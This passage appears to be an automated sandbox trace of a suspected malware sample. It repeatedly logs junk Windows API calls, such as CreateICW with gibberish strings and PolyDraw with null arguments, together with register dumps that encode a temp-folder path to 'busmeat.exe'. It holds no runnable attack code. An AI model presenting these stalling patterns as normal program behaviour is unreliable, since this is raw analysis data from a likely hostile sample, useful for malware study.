[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.295] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.297] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.297] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.297] GetConsoleCP () returned 0x0
	[0066.297] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.297] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.298] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.298] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.298] GetConsoleCP () returned 0x0
	[0066.298] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.298] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.299] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.299] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.299] GetConsoleCP () returned 0x0
	[0066.299] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 